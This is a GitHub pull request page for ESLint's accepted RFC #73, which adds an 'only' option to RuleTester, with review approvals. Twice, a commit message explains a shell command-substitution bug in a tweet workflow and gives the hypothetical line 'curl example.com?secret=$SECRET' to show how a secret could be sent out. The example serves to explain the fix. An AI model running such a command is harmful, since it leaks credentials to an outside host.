New: RuleTester test isolation with only #73
Merged
Conversation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
btmills
added
enhancement
btmills
changed the title
only
btmills
added a commit
that referenced
this pull request
Dec 28, 2020
RFC #73 originally included backticks around <code>`only`</code>. The automated tweet omitted "only" and its backticks. I realized that the `run` action command was using double quotes, so the backticks from the PR title were being interpreted by the shell as command substitution. Using single quotes disables any interpolation. Thankfully only contributors can trigger the automated tweet by labeling or merging an RFC, and we'd notice something like `curl example.com?secret=$SECRET`, so this isn't really a security issue.
nzakas
pushed a commit
that referenced
this pull request
Dec 29, 2020
RFC #73 originally included backticks around <code>`only`</code>. The automated tweet omitted "only" and its backticks. I realized that the `run` action command was using double quotes, so the backticks from the PR title were being interpreted by the shell as command substitution. Using single quotes disables any interpolation. Thankfully only contributors can trigger the automated tweet by labeling or merging an RFC, and we'd notice something like `curl example.com?secret=$SECRET`, so this isn't really a security issue.
nzakas
approved these changes
Dec 29, 2020
btmills
force-pushed
the
2020-rule-tester-only
branch
from
3a195d1 to
c3fda44
Compare
btmills
added a commit
to eslint/eslint
that referenced
this pull request
Jan 1, 2021
|
I've pushed a prototype implementation to the rfc73 branch. |
nzakas
approved these changes
Jan 13, 2021
mdjermanovic
approved these changes
Jan 22, 2021
|
I think we are ready for final commenting on this. |
nzakas
added
Final Commenting
|
I just updated the RFC text based on the last round of feedback to include the |
nzakas
approved these changes
Jan 26, 2021
mdjermanovic
approved these changes
Jan 26, 2021
|
Given that we have a competing RFC (#67), to accept this we must reject that. I’m 👍 to doing so. |
Done :) #67 (comment) Thanks for working on this problem, everyone! |
|
Okay, we have approved this RFC. 🎉 |
This was referenced Sep 23, 2024
This was referenced Sep 27, 2024
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Summary
RuleTestercurrently lacks a built-in way for developers to isolate individual tests during development. Temporarily deleting or commenting out the other tests is tedious. This adds an optionalonlyproperty to run individual tests in isolation.Related Issues
This was suggested as an alternative solution to RFC67 and eslint/eslint#13625 because that change may not be possible as currently described.